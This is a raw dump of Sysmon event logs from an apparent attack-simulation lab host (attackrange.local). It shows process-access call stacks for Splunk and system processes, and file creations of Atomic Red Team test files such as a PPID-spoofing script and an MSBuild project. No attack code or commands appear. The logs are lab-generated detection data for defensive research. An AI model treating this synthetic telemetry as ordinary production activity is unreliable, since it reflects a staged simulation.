L32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003741Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.815{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003740Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.815{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003739Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.815{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003738Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.815{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003737Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.815{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003736Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.815{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003735Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.815{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2916-5F80-BF00-000000007F01}3184C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003734Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.815{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2916-5F80-BF00-000000007F01}3184C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003733Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.815{A5F018FF-2916-5F80-BF00-000000007F01}3184C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000003732Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:46.096{A5F018FF-2915-5F80-BE00-000000007F01}20962100C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003765Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.643{A5F018FF-2917-5F80-C000-000000007F01}48484840C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003764Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.486{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-2917-5F80-C000-000000007F01}4848C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003763Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.486{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003762Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.486{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003761Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.486{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003760Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.486{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003759Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.486{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003758Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.486{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003757Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.486{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003756Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.486{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003755Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.486{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003754Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.486{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2917-5F80-C000-000000007F01}4848C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003753Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.486{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2917-5F80-C000-000000007F01}4848C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003752Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.487{A5F018FF-2917-5F80-C000-000000007F01}4848C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 11241100x80000000000000003751Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.346{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\Documents\WindowsPowerShell\Modules\powershell-yaml\0.4.2\Load-Assemblies.ps12020-10-09 09:10:47.346 11241100x80000000000000003750Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:47.346{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\Documents\WindowsPowerShell\Modules\powershell-yaml\0.4.2\Tests\powershell-yaml.Tests.ps12020-10-09 09:10:47.346 11241100x80000000000000003749Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:47.346{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\Documents\WindowsPowerShell\Modules\powershell-yaml\0.4.2\lib\netstandard1.3\YamlDotNet.dll2020-10-09 09:10:47.346 11241100x80000000000000003748Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:47.346{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\Documents\WindowsPowerShell\Modules\powershell-yaml\0.4.2\lib\net45\YamlDotNet.dll2020-10-09 09:10:47.346 11241100x80000000000000003747Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:47.330{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\Documents\WindowsPowerShell\Modules\powershell-yaml\0.4.2\lib\net35\YamlDotNet.dll2020-10-09 09:10:47.330 11241100x80000000000000003823Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.955{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1134.004\src\PPID-Spoof.ps12020-10-09 09:10:49.955 11241100x80000000000000003822Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:49.955{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1134.004\bin\calc.dll2020-10-09 09:10:49.955 11241100x80000000000000003821Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.939{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1127.001\src\T1127.001.csproj2020-10-09 09:10:49.939 